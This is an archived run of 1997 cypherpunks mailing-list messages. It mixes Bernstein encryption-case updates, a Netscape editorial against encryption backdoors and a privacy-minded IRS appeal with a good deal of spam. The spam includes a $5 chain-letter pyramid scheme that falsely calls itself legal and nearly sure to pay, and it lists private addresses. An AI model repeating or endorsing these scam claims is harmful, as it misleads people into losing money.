Peter Hirsch, Retail Banking Research

Mondex, A Status Report
Steve Maier, Mondex International

E-Cash, GSM and the Net
Julian Wilson, AT&T Unisource

Electronic Purse: the lessons so far
Steve Johnson, Verifone

Getting from Real Money to Electronic Money
Robert Zipplies, DigiCash

Micropayments
Speaker from IBM

The Cybercash Solution Set
Steve Crispinelli, Cybercash

The Millicent Scheme
Henry Gouraud, Digital UK.

------------------------------------------------------------------
David G.W. Birch, Director.      Hyperion, 8 Frederick Sanger Road
http://www.hyperion.co.uk/           Guildford, Surrey GU2 5YD, UK
mailto:daveb@hyperion.co.uk                  Tel:+44(0)1483 301793
Finger for my PGP public key                 Fax:+44(0)1483 561657

Where people, networks and money come together....consult Hyperion

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Need More Memory? <memory@wheeler.promolinx.com>
Date: Mon, 22 Sep 1997 14:20:57 -0700 (PDT)
Subject: Memory - 32Megs - $99
Message-ID: <199709222121.PAA21452@wheeler.promolinx.com>
MIME-Version: 1.0
Content-Type: text/plain


***RAM***MEMORY***RAM***MEMORY***RAM***MEMORY***RAM***MEMORY***
***MEMORY***RAM***MEMORY***RAM***MEMORY***RAM***MEMORY***RAM***

              !!!!!!Buy Memory at Wholesale Prices!!!!!!


                16Meg EDO Simm (4x32 8-chip) -------- $53

                32Meg EDO Simm (8x32 16-chip) ------- $99


                Shipping & Handling (Sorry USA orders only!)

                     Ground--------------$5/order any quanity

                     Next Day-----------$15/order any quanity


       !!!!! Prices and Availability Subject to Change Daily!!!!!


     To Place An Order or Obtain More Information Reply to:

                     Memory@Promolinx.com

 >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    If you do not wish to recieve future  PromoFlyers

             Reply to:  Remove@Promolinx.com

  and your email address will be removed immediately from our lists!!
 <<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<













From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 66399210@compuserve.com
Date: Tue, 23 Sep 1997 00:48:24 -0700 (PDT)
To: friendsat@aol.com
Subject: MAKE IT YOURSELF ACNE RECIPE
Message-ID: <>
MIME-Version: 1.0
Content-Type: text/plain



Do you suffer from unsightly BLEMISHES, ACNE or ZITS, yech.  Or do you know
someone that suffers?  If yes, then you or your friends should try what I used
when I was in High School.  It really worked for me.  My friends and I had acne
but my mom made up this great Acne Remover and they were gone the next day.
WOW I thought and so did my friends who wanted it too.  They also wanted to
know how to make it, but I just gave them a bottle of Acne Remover and they
were happy.  So were the girls that we all dated.  The pimples usually went away
the next day, just in time for a date that weekend.  I couldn't believe my eyes or
should I say my face.  I held onto that recipe for years, thinking that someday
I'll manufacture it and sell it, but I never did.  Now you too can make it yourself.
Imagine not having to pay hundreds of dollars to the drug store for expensive
products when you can make a better product yourself right at home!  That's
what we did and it worked great for me.

OK, what's the cost?  A mere $19.95 for my fellow sufferers.  I could have
charged more for this, but I thought, help others like I was helped out by
my family.  Send $19.95 plus $1.00 for shipping and handling for a total of
$20.95 right away to:

Internet Marketing
22704 Ventura Blvd., Ste. 200
Woodland Hills, CA 91364

Include your email address and if you are in California, please add $1.51 for a total
of $22.46.

It worked so great for me that it's called "CLEAR UP."  Remember, once you have
the recipe for CLEAR UP, you can make it yourself forever!!!

Send for CLEAR UP right away and stop suffering.  You'll be happy you did.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David C. Treibs" <sirdavid@ktc.com>
Date: Wed, 24 Sep 1997 19:43:18 -0700 (PDT)
To: "(David C. Treibs)" < (SirDavid@ktc.com)>
Subject: Need Help with IRS Problems
Message-ID: <199709242341.SAA15812@ns1.ktc.com>
MIME-Version: 1.0
Content-Type: text/plain


                                        David C. Treibs
                                        Fredericksburg, TX 78624
                                        sirdavid@ktc.com

Hi.

We are in trouble with the IRS, and we need help.

For religious reasons (explained below), we do not have Social Security
numbers for our children, the oldest of 4 being 5 years old.

Last year we sent in our return, as we have always done, without SSNs
for our children. My wife and I do have social security numbers, and we
sent those. IRS sent us a letter saying they were disallowing our
exemptions since we had no SSNs for them. They gave us the opportunity
to contest their disallowance, which we did by sending them our
children's birth certificates; and letters from our parents, and a letter
from our pediatrician, stating the children we claimed were indeed our
children and our dependents. We don't have a problem proving that we are
claiming legitimate dependents.

IRS accepted the information we sent them, and accepted our exemptions.

This year we again sent IRS our return without numbers for our children,
but this time we included the letter of acceptance for last year's
return, and again they said they are disallowing our exemptions, and
they want $1,175.79. I called the telephone number on the letter and
spoke with the lady who answered, explaining what we did last year and
how the IRS accepted our tax return. The lady said "now we have new
rules." She asked, "What religion are you," as if it mattered. When I
told her we were Christians, she paused as though to consult some
paperwork, and then she said, "those children need social security
numbers or you cannot claim them." She mentioned the Tax Reform Act of
1996 and Publication 553 as being the enabling documents that brought on
this change.

That same day I called U.S. Rep. Lamar Smith's office and explained the
situation. The nice lady in the San Antonio office said she would pass
the information to the Kerrville office, and they would do what they
could. The lady in the Kerrville office made several inquiries. She
repeatedly said we had the right to appeal, and she sent us a copy of:

--Internal Revenue Code: Income, Estate, Gift, Employment and Excise
Taxes ss 1001-End As of Sept 15, 1996, Volume 2. Subtitle F, Ch. 61B,
Sec 6109(a)-6109(h).

    Sec. 6109(e)--Repealed
    Is the rather odd heading for the only part I could find in the
    portion of the Code they sent me that says you must have a SSN or
    you will not be allowed an exemption. I wonder if that means the
    section is repealed? But then, the probably have it in some other
    section that the SSN is required. See IRC Sec. 151 (97) below.

--What appears to be a news release titled:
Valid Taxpayer Identification Numbers Needed For Returns
1996 IRB LEXIS 344; IR-96-50

--Internal Revenue Code...This section is current through 105-15,
approved 5/15/97.
Subtitle A. Income Taxes
Chapter 1. Normal Taxes and Surtaxes
Subchapter B. Computation of Taxable Income
Part V. Deductions for Personal Exemptions

    IRC Sec. 151 (1997)

    (e) says no exemption will be allowed unless the Taxpayer
    Identification Number is included on the return.

At present we are awaiting a letter from IRS, which we assume will state
that we must either provide SSNs for our children or pay up, and they
will probably give us 60 days or less to do either.

Having received the above distressing information, we called a San
Antonio, Texas, CPA, Ken Flint, a former IRS agent who now specializes
in helping people in trouble with the IRS. He said it would cost us more
to fight them than to simply pay the extra money. He sounded
sympathetic, if somewhat busy, and told us we could do the appeal if we
knew the law and IRS procedures. Unfortunately, I know neither.

Perhaps at this stage you could help us. I need to hear from someone who
has successfully appealed this sort of thing and won.

What are the applicable laws?
What is the case law in this matter?
What are the IRS procedures in these matters?

Are there any laws that might give us an out, such as the Religious
Rights Restoration Act, and other such high sounding laws?

Is there an attorney out there who wants to make a precedent out of this
for us and all the other like-minded folks?

If you have no direct knowledge of IRS laws and procedures, perhaps you
could pass this to a forum or organization or individual who could.

While we are aware of the various movements such as the sovereign
citizen, the patriots, tax protesters, and so on, we prefer to work
within the system to win our case. This is simply our preference.

We don't have a problem with proving that we are not making bogus claims
on our tax returns. We'd be happy to give them whatever reasonable proof
they want. We do have a big problem with giving our children a
government number.

The Bible gives the responsibility of raising children to parents, not
to the government or any other entity.

Forcing Social Security Numbers on children represents a major violation
of parents' God-given responsibility.

The SSN's powers can be divided into two basic categories: monitoring
and control; neither of which is within government's purview in dealing
with children. These are entirely the parents' job, Hillary Clinton's
postulations that "It Takes a Village" notwithstanding.

Once a child has a SSN, they are forever a blip on the government radar,
to be tracked, and to be the recipient of whatever government decides it
must foist upon children and their families.

SSN's are already used in our public school district to track students.
Much of their test scores and who knows what personal data is in the
district's computers, including a SSN. The district told us it probably
won't be long before all this data is sent to the state, and how long
will it be before this information ends up with the federal government?

The Clintons are working to push us into nationalized health care,
including government health care for children. Did you ever wonder how
they plan to track all these children, to ensure they are receiving all
the "benefits" of their plans? Very likely, the SSN. The "benefits"
might include "inoculations" against pregnancy, which amounts to
powerful birth control/abortifacient drugs, parental consent not needed
or desired. Then, of course, there is the "education,"
accompanying this government intrusion into child health, which is
irreconcilably opposed to my beliefs.

The Clintons are also working to push us into the UN Rights of the Child
Treaty, which shifts many parental rights and responsibilities to the
government. The Clintons want to bypass parents and directly access
children. How do you think they plan to monitor and enforce compliance
with this horrible treaty? The SSN, in my opinion.

Once every child has a SSN, it will also be easier for the state to
nose in on the parent's job. With the recent birth of our fourth child,
we were told that a state social worker from the welfare department
would be visiting our home, and the home of everyone who has a child. If
our child had a SSN, they could easily computerize all her data and then
link it to any other data from us, our other children, and so on. It
could be done without SSNs, but it would be more difficult and time
consuming, and on a large scale, next to impossible.

The state of Texas provides a good example of what a state will do when
given access to the power of the SSN. Starting this year Texas requires
SSNs to issue a driver's license. Now that they have linked the
driver's license with a SSN, they can easily access a person's records,
including court records, and anyone not paying child support may be
denied a driver's license. This is just one example of the power of the
SSN, and how government can use it to force its agenda on the populace.

Whatever government grants or allows, it can withhold or restrict based
on whatever is politically correct at the time, if they have the tools
to do so. When people who disagree with you hold power over you, and
when they want to extend that power to your children, you better be
ready for trouble.

The SSN enables anyone with access to the right data bases to know every
address you ever had; details about your job, income, and taxes; school
records; all financial transactions not made with greenbacks; probably
all your telephone and utility details, including all your phone calls;
doctor, hospital, and other medical details; all court and police
records; and on and on and endlessly on.

This is all your personal information, available to government at the
snap of a finger, and this information is power. Now imagine if every
child has a SSN, that power will extend down to the womb even more than
it does now.

We are not willing to give the government power over our children. Why
should we, when children are none of government's business until they
reach adulthood? Why tempt government with all that power, when they
have already proven they will abuse it?


                   For Liberty,
                   David C. Treibs (sirdavid@ktc.com)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: doctors2@kcopk.com
Date: Wed, 24 Sep 1997 10:37:54 -0700 (PDT)
To: relay@centralnet.ch
Subject: Dental-Optical Plan
Message-ID: <2384358439fr33474@mail.net>
MIME-Version: 1.0
Content-Type: text/plain


Hello, we work with a group of your local doctors 
and dentists and we are offering a Dental - Optical 
Plan that runs approximately $2 a week for an individual 
and $3 a week for an entire family with no limit to the 
number of children. 

Would you like our office to give you some additional information?

Our doctors are grouped by area code and zip code,
please list 

Name 
Address 
Area Code 
Phone Number


It is not necessary to quote the entire message back with your reply.

Thank you!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: webmaster@xxxstation.com
Date: Wed, 24 Sep 1997 15:21:11 -0700 (PDT)
To: webmaster@xxxstation.com
Subject: More Traffic = More $$$
Message-ID: <199709241941.QAA10451@north.nsis.com>
MIME-Version: 1.0
Content-Type: text/plain


THIS MESSAGE IS INTENDED FOR ADULT WEBMASTERS ONLY. IF YOU HAVE
RECEIVED THIS MESSAGE IN ERROR PLEASE ACCEPT OUR APOLOGIES.

Dear Webmaster,

We know that traffic means more money for you so we're releasing the XXX
Station consoles.


The XXX Station consoles  (http://www.xxxStation.com)  consoles aren't
popping-up in front of
your homepage like many other, they appears only when the user exit your page.

Each time your web site launches a console you get 15 (yes fifteen)
exposures for free.
In brief it means about a 16% increase in traffic for your site, e.g. if
actually your site attracts 1000 visitors a day you'll get 15,000 exposures
for FREE

But that's not all !

To support the XXX Station consoles we've some sponsors, (like other
consoles) but with the XXX Station consoles, each time a sponsor is visited
using one of the console you launched, we offer you 3 FREE EXPOSURES FOR
YOUR BANNER (unlike others).
And we serve your banner from our server !

If you maintain several sites you can open several accounts  ! and of
course you can check real time stats when you want !

Instant Signup at : http://www.xxxStation.com

Our technical and  marketing support  is at your service to answer all your
questions don't hesitate to contact us !

MORE EXPOSURE means MORE TRAFFIC and MORE TRAFFIC MEANS MORE $$$ TO invest
in your website or whatever you want :-)

http://www.xxxStation.com
Traffic for free !!! Now show your banner for FREE !




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Wed, 24 Sep 1997 18:27:29 -0700 (PDT)
To: bernstein-announce
Subject: Bernstein: Stay issued; expedited appeal granted
Message-ID: <199709250103.SAA17520@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Mon, 22 Sep 1997 14:36:03 -0700
From: Cindy Cohn <Cindy@mcglashan.com>

I just received the following fax from the 9th Circuit Court of Appeals:

The government's emergency motion for a stay of the district court's
injunction pending appeal is granted.

This appeal is expedited.  Appellants' opening brief is due on October 16,
1997.  Appellee's answering brief is due on November 10, 1997.  Appellants'
opinional reply brief is due on November 17, 1997.  All briefs shall be
filed and served by hand or overnight mail.  No extensions of time for
filing the briefs will be granted absent a showing of extraordinary and
compelling circumstances.

The Clerk shall calendar this appeal in San Francisco for the week of
December 8, 1997.

Judges  Hall, Brunetti and Thomas

Cindy
************************ 
Cindy A. Cohn                                                               
McGlashan & Sarrail, P. C.
177 Bovet Road, 6th Floor                                            
San Mateo, CA  94402
(415) 341-2585 (tel)
(415)341-1395 (fax)
Cindy@McGlashan.com
http://www.McGlashan.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: otasco@ix7.ix.netcom.com
Date: Thu, 25 Sep 1997 00:59:05 -0700 (PDT)
To: otasc@ix.netcom.com
Subject: PROTECT YOUR COMPUTER
Message-ID: <199709250744.CAA04881@dfw-ix3.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


NU-DAWN


The original use for this product was with the United States Military
for the cleaning and protecting of the Windows, cockpits,& Jet Fighter
Helmets, as well as many other uses in the Avionics industry.

The cost of the product was to expensive for the average consumer so
it was never retailed, Until 1996 when one of our employees came up
with an alternative for one of the Main ingredients.

NU-DAWN is now available to the consumer,so you may have the same
cleaning and protecting Qualities The United States MILITARY has Used
to Clean & protect 50- 100 Million dollar Aircraft.

NU-DAWN actually seals the pores of the plastic. It makes small
scratches less visible, leaving a surface that is fresh, Lustrous and
protected. Nu-Dawn dries perfectly, no smears, no scratches, no
smudges and no oily, tacky or sticky residue.

Best of all you can apply it in seconds in one simple step. For a
limited time we are offering  Nu-dawn to you, so we may obtain
testimonials before bringing it to national RETAILERS.

The price of Nu-dawn has not yet been determined, but for this test
market we would like to offer it to you for a Price of  only $ 4.95
For 1 Pint. This is a fraction of what we will be selling this in the
retail market but, WE NEED YOUR TESTIMONIALS FOR OUR NATIONAL
ADVERTISING CAMPAIGN. Due to the price, LIMIT OF TWO PER CUSTOMER

100%  MONEY BACK GUARANTEE IF YOU ARE NOT
COMPLETLY SATISFIED.

ORDER 2 PINTS FREE SHIPPING & HANDLING

To order please send a check or Money order along with $ 1.50 S&H your name and
address: to: OTASCO P.O. BOX 10447 GLENDALE, CA 91209

All orders are shipped within 2 days from placement of order.

We would like to hear your comments and suggestions, Best of all any
NEW uses that you come up with for NU-DAWN. CUSTOMER SERVICE 
1-800-645-4871

SUGGESTED USES FOR
NU-DAWN PLASTIC POLISH


* Plastic Storm Windows & Skylights                                   
* Acrylic Aquariums                                      
* Boat Windows & Fiberglass                                      
* Office Furniture
* Auto Interiors, Gauges, Chrome, & Acrylic                           
* Telephones, Pagers
* Collapsible Windows on Convertibles & Sport                       
   Utility Vehicles
* Arcrylic Trophies & Awards  
*Motorcycle Windscreens, Visors, Fairings & Helmets            
* Plastic Display Cases
* Snowmobile Windsheilds, Helmets, & Hoods                          
* Gauges & Insrument
* Golf Clubs                                                                                                 
* Turntable Dust Covers, Stereo Faceplates

* Compact Discs, Video Laser Discs, & CD ROM'S

* Acrylic Hot Tubs & Spas                                             
          
 * Safty Shields 
 *Arcrylic, Fiberglass or Cultured Marble Tubs,                        
 * Shower Curtains
* Microwave Oven Doors, Decorator Acrylic 
   Refrigerator Panels

* Inline Skates, Skateboards, & Sporting Goods




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: DONN CARROLL <syzygy@mymail.net>
Date: Thu, 25 Sep 1997 19:36:46 -0700 (PDT)
To: cypherpunks@toad.com
Subject: cancel subscription
Message-ID: <199709260251.VAA03890@mail.mymail.net>
MIME-Version: 1.0
Content-Type: text/plain


Please cancel my sbscription to the encription letter. there are to many.
Donn,  syzygy@mymail.net





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 89726768@juno.com
Date: Sun, 26 Oct 1997 17:59:23 -0800 (PST)
To: help@3017greatcredit.net
Subject: Deliverable Mail
Message-ID: <9905176390876.YTR40918@3017greatcredit.net>
MIME-Version: 1.0
Content-Type: text/plain


<HTML><PRE><BODY BGCOLOR="#000000"><FONT COLOR="#00FFFF" SIZE=3>
/////////////////////////////////////////////////////////////////
CREDIT CENTER***CREDIT CENTER***CREDIT CENTER***CREDIT CENTER
\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
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////////////////////////////////////////////////////////////////

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_____   'The Fresh Start Program II' (TM)         	$34.95

_____   'WorldCard' (TM) Credit Card            	$34.95

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_____   'The Complete Credit repair Kit' (TM)   	$34.95

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$15.00   RUSH Delivery (Optional)

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I Have Enclosed (Check One):
_____   Cashiers Check
_____   Money Order
_____   Personal Check
_____   FAX ORDER


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Address:________________________________________________
City:_______________________State:________Zip Code:_________
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////////////////////////////////////////////////////////////////

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Please TAPE Your Check Here

Please SIGN Your Check

******************************************************

THANK YOU For Your Order!!!




</FONT><FONT  COLOR="#000000" SIZE=3>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Thu, 25 Sep 1997 23:53:06 -0700 (PDT)
To: bernstein-announce
Subject: Documents re 9th Circuit Emergency Stay now online
Message-ID: <199709260643.XAA12149@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


The Government asked the 9th Circuit on the 10th for an "emergency
stay" of the District Court's limited injunction that would let
Prof. Bernstein publish his Snuffle software online.

Now you'll find Bernstein's opposition to that motion, filed on the
17th, online.  And the government's attempted emergency reply, filed
on the 22nd.  You will also find the 9th Circuit motions panel's terse
order granting the government motion (blocking Bernstein from
publishing online) and scheduling the case for very fast processing.
The final 9th Circuit hearing will be in December, and we have a
prospect for hearing a decision by Christmas.

See http://www.eff.org/pub/Legal/Cases/Bernstein_v_DoS/Legal/.
(You may have to ask your browser to "Reload" to see the new changes.)

	John Gilmore
	Electronic Frontier Foundation




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: web-promotions@nevwest.com
Date: Fri, 26 Sep 1997 13:26:18 -0700 (PDT)
To: web-promotions@nevwest.com
Subject: Welcome New Business Partner!!
Message-ID: <199709261603.NAA18468@loki.atcon.com>
MIME-Version: 1.0
Content-Type: text/plain


Pure Hardcore, the fastest growing adult site on the internet, has selected you 
to be their newest business partner! We have several ways for you to make more money 
than you are making now with your site. We are making available to you the programs 
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Thanks for your time, and good luck with your site!

-Pure Hardcore Staff








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wdsmsn <intofild@aol.com>
Date: Thu, 25 Sep 1997 19:27:41 -0700 (PDT)
To: bulk56 Part 6 <intofild@aol.com>
Subject: Its working read this, give it a chance,
Message-ID: <875232983.1412694.0@[1cust65.max20.orlando.fl.ms.uu.net]>
MIME-Version: 1.0
Content-Type: text/plain


WE CAN NOT TELL YOU HOW EXCITED EVERYONE IS THAT IS 
GETTING INVOLVED IN THIS PROGRAM IT IS WORKING LIKE A 
CHARM,  FINALLY A WAY TO MAKE A LOT OF EXTRA MONEY WITH NO 
GAMBLE. , ....... WHEN YOU HEAR OF THOSE THAT DID IT AND HOW 
GREAT IT WORKED YOU WILL WISH YOU WOULD HAVE TRIED IT,

Five people who said it did not work and it was just a scam, are now involved 
in it , After they saw what others have received. 

*** Print This Now For Future Reference ***
This is working people are reporting tremendous results, Give it a try what 
have you got to lose.... 
HOW TO MAKE $800,000.00 CASH IN FOUR WEEKS!
How about taking the profits and opening your own business?
How about telling that boss you hate to go jump in the lake?
Do this Keep it among people you know how can you  possibly lose here??? 
Then ask yourself...
How much can I make???  The answers should tell you it's worth a try.
All you can lose is 5 bucks (SO WHAT!!!) Yet you may make a nice profit.

Read on.

Jane Nelson tells how she ran this program four times last year.  
This first time, she received $500,000 in cash, and over $700,000 
the last three times this year.

If this letter is continued, as it should be, 
EVERYONE PROFITS!

Just send one person 
FIVE DOLLARS - THAT'S ALL! 
After the first time, you'll see how easy it is and how 
beautifully it works!  Now here are the simple details...

Follow WHAT TO DO below and 
IN ONLY FOUR WEEKS YOU'LL RECEIVE 
UP TO $700,000 because most people will respond, 
due to the LOW INVESTMENT
and HIGH PROFIT POTENTIAL.

WHAT TO DO
On a blank sheet of paper, write "Please put me on your mailing list"
along with your name and address and put it with a Five-Dollar Bill.  
Through regular mail, send this to the last person on the list below.  
ONLY THE LAST PERSON ON THE LIST GETS YOUR NAME AND $5 
BILL!
Then remove that name from the list.  Move the other three names 
down and add your name to the list in the #1 position.

After you have re-typed the list with your name in the #1 position,
MAKE AT LEAST 20 COPIES OF THE LETTER AND SEND IT OUT
IMMEDIATELY TO 20 OR MORE PROSPECTS.
Friends, relatives - anyone you'd like to see get rich along with you!
The faster you act, the faster you'll get your money!

US Mail or Email!!!
For email, you can just copy this whole letter and paste it into 
the body part of AOL's "Compose Mail" box.  
Then be sure to remove the last name on the list below,
and add your name as the first.
YOU STILL HAVE TO USE REGULAR MAIL TO SEND YOUR $5
AND ADDRESS TO THE LAST NAME!
That's what keeps this legal and how everyone gets paid!

That's all there is to it!  Here's how it works:

1.  You send out 20 letters to 20 Prospects
2.  Those 20 mail out 20 letters each (400)
3.  Those 400 mail out 20 letters each (8,000)
4.  Those 8,000 mail out 20 letter each (160,000)
5.  And those 160,000 people mail YOU 5$ each ($800,000)
Your entire investment is only $5!!!  Very inexpensive when you consider
the results you can get!
HONESTY AND INTEGRETY MAKE THIS PLAN WORK.
Breaking the rules on the way it is sent only messes up your chance of it 
working right! 
DON'T BREAK THE RULES!

Be sure to follow the instruction and omit nothing.  At this time
we are receiving an almost 100% return rate for people wise enough to
participate in the plan.

The majority receive about $700,000 on average!  And rest assured
this plan is 100% Legal!  You are providing a service to people to put
them on your mailing list.

(Please refer To):
(Title 18, Section 1302 of the US Postal Code and Lottery Laws.)

PLEASE MAIL YOUR LETTERS ASAP!

I WISH YOU SUCCESS AND TOGETHER WE'LL ALL PROSPER.

DON'T GIVE UP ON YOUR DREAMS!
--------------------------------------------------------------------


#1  Ray Favereau 822 Kalli Creek Lane St. Augustine Fl 32084

#2 Danielle Burkes  1057 Larkspur Loop Jacksonville Fl. 32259

#3  J.D. Clark, P.O. Box 613, Lahoma, OK  73754

#4 Ryan Thomas, P.O. Box 2872, Joplin, MO  64803


Include your email address for courtesy updates.








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: somebody@somewhere.com
Date: Fri, 26 Sep 1997 22:28:41 -0700 (PDT)
Subject: New Member Registration
Message-ID: <199709270607.BAA02781@fs1.sccsi.com>
MIME-Version: 1.0
Content-Type: text/plain


A Message From Mr. T
Account Login: killer
Account Password: instinct
This message has been auto-generated - No need to reply





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cleanring@t-1net.com (Dynamic O.N.E. Worldwide)
Date: Sat, 27 Sep 1997 15:52:44 -0700 (PDT)
To: cleanring@t-1net.com
Subject: Need Quarters ??
Message-ID: <19970927341MAA32069@post.21.213.66>
MIME-Version: 1.0
Content-Type: text/plain


How Much Money Do You Spend...Per Month...Doing Laundry?

Imagine...

If You Could Buy A Box Of Laundry Detergent For Under $80.00,
That Would Last The Rest Of Your Life...Would You Buy it ?!?!?

We Have That Box...And It's NOT Detergent Or Soap!!!

To Find Out What's Inside...

Click Here NOW: http://www.t-1net.com/opportunity/cleanring.html

r




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Fri, 26 Sep 1997 20:25:36 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Barksdale editorial
Message-ID: <199709270325.FAA14894@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain


Washington May Crash the Internet Economy

By Jim Barksdale

The U.S. computer industry is the envy of of the world. But it may not be long before we are asking ourselves: Why did we let our dominance in the software business slip away to competitors in other countries? That could well be the consequence of encryption legislation proposed by FBI Director Louis Freeh and supported by key congressional Republicans and members of the Clinton administration.

Encryption is simply a mathematical way to scramble (encrypt) and unscramble (decrypt) digital information during transmission or storage. It is increasingly used to protect not just personal communications and medical and financial records, but also all the intellectual property businesses maintain on computer networks.

Protecting this valuable information has become a highly competitive business around the globe, yet U.S. industry has been limited in how it can compete, because U.S.-based companies are not allowed to export anything stronger than 40-bit (or in some cases 56-bit) encryption. (The strength of encryption is largely a function of the length of its software "keys" measured in bits, the zeros and ones that comprise computer data.) Foreign producers, however, can distribute encryption products with 128-bit key length, so-called strong encryption, which is considered unbreakable by today's computing standards.

The FBI has proposed to worsen this situation by also limiting the use of strong encryption in our domestic market. The FBI's proposal, in the form of the Oxley-Manton amendment to a House bill originally drafted to liberalize export controls on encryption, would require makers of encryption software to provide the government with immediate access to the information in a computer or network without the knowledge of the owner or user of the computer. We could still provide encryption products, but their value would be compromised considerably by a "backdoor" for law enforcement agencies to access information in the computer.

We understand and share the FBI's concern about terrorists and other criminals using encryption to protect their activities from law enforcement surveillance, but the FBI proposal does not solve the problem. The criminals will still be able to buy advanced encryption technology outside the U.S., where it is freely available today.

The encryption plan will cause bigger problems for law-abiding companies, however. We have some of the best software engineers on the planet at Netscape, but we simply do not believe it is possible to comply with the proposed FBI standard. If it became law, the federal government could put us in jail if we could not guarantee immediate access to data in everyone's computer. This could only result in having us remove valuable information security features from our products. But the Internet needs just the opposite: more security.

As legal scholars have pointed out, the FBI proposal poses grave constitutional concerns. An additional problem is the likely result of the FBI plan: more crime. By taking away encryption as we know it today, the FBI proposal would expose computer users to assault by hackers intent on economic espionage, blackmail and public humiliation. At a recent congressional hearing, one witness testified that with $1 billion and 20 people using existing technology, he could efffectively shut down the nation's information infrastructure, including all computer, phone and banking networks. Another witness said he could do it for $100 million.

The solution is to ensure that our public and private infrastructure is secured through strong encryption and other means. The FBI cannot catch every hacker. But there will be fewer and fewer of them trying to penetrate sensitive networks if those networks are adequately protected and communications secured through the use of strong encryption.

Without the privacy and security that strong encryption guarantees, consumers and businesses will refrain from using the Internet, greatly damaging our economy. The Internet already contributes 1.5% to the U.S. gross national product. Estimates suggest the total value of goods and services traded over the Internet could reach $8 billion this year and $330 billion in five years. The U.S. holds an estimated 75% of the global software market and roughtly the same share of the global Internet economy, according to studies by the Global Internet Project, an international trade group.

The FBI proposal, if adopted, could end this economic phenomenon overnight. The good news is that the House Commerce Committee voted against this proposal by 35-16 on Wednesday. However, similar amendments have already been approved in the House National Security and Intelligence committees. It's now up to the House Rules Committee-whose charman, Gerald Solomon (R., N.Y.), favors limiting encryption technology-to reconcile the votes of the five committees that have considered various forms of the bill. Perhaps most ominously, the Drug Enforcement Administration and the deputy Treasury secretary for financial crimes yesterday announced their support for the FBI's proposal.

What we need instead is a voluntary approach, U.S. companies should continue to cooperate with law enforcement authorities in provideing technological expertise and emergency assistance. Because companies like mine are committed to dooing this, our country will be more secure. If government policies end our leadership in encryption technology, where will our law enforcement and national security officials turn for help?

Mr. Barksdale is president and CEO of Netscape Communications Corp.




 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: qyDZS7G6b@netshel.net
Date: Sat, 27 Sep 1997 09:43:57 -0700 (PDT)
To: .@west.net
Subject: Are You In Need Of A Lifestyle Change...
Message-ID: <52KdL9>
MIME-Version: 1.0
Content-Type: text/plain


Now for the first time ever you have the opportunity to join the most
extraordinary and most powerful wealth building program in the world!
This program has never been offered to the general public until now! 
Because of your desire to succeed, you have been given the opportunity
to take a close look at this program.

If you're skeptical, that's okay. Just make the call and see for
yourself.  My job is to inform you, your job is to make your own
decision.

If You Didn't Make $200,000.00 Last Year...

You  Owe  It  To  Yourself  And  Your  Family  To  Give  Our  Program
Serious Consideration!

Also, when you start making this kind of money within weeks, after
joining our team, you will actually learn how you can preserve it and
how to strategically invest it!

I invite you to call me for more details at 1-800-784-1710 EXT.1565.
This is a free 2 minute recording, so call right now!

Prosperous regards,

Paul  Rawlins 
This Is Not Multi Level Marketing/Serious Inquiries Only






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 27 Sep 1997 12:28:53 -0700 (PDT)
To: cypherpunks@toad.com
Subject: cypherpunks-e@htp.org list explodes!
Message-ID: <3.0.3.32.19970927122704.00705244@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Well, I tried subscribing to cypherpunks-e@htp.org, the English-language
relative of cypherpunks-j.  There may have been one or two independent
postings,
but almost everything there was just the main cypherpunks list, forwarded
and with archiving numbers stuck in the Subject: line.
That wasn't a very good idea; people who want to subscribe to cypherpunks
should do so directly, but if you do want to build a fourth list address
for cypherpunks, you can check with Igor Chudov and Lance Cottrell about
the software
that makes it work without looping.

However, a day or two ago, something broke, and most of the 1400+ messages
I've
gotten have been Mailer-Daemon complaints about not being able to reach
somewhere or other for four hours.  It may be because ssz.com was down for a
couple of days, or may be from something else, but it's failed spectacularly.
Killfiles are your friend, but for now I've simply unsubscribed.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: waeho@vol.cz
Date: Sat, 27 Sep 1997 19:30:29 -0700 (PDT)
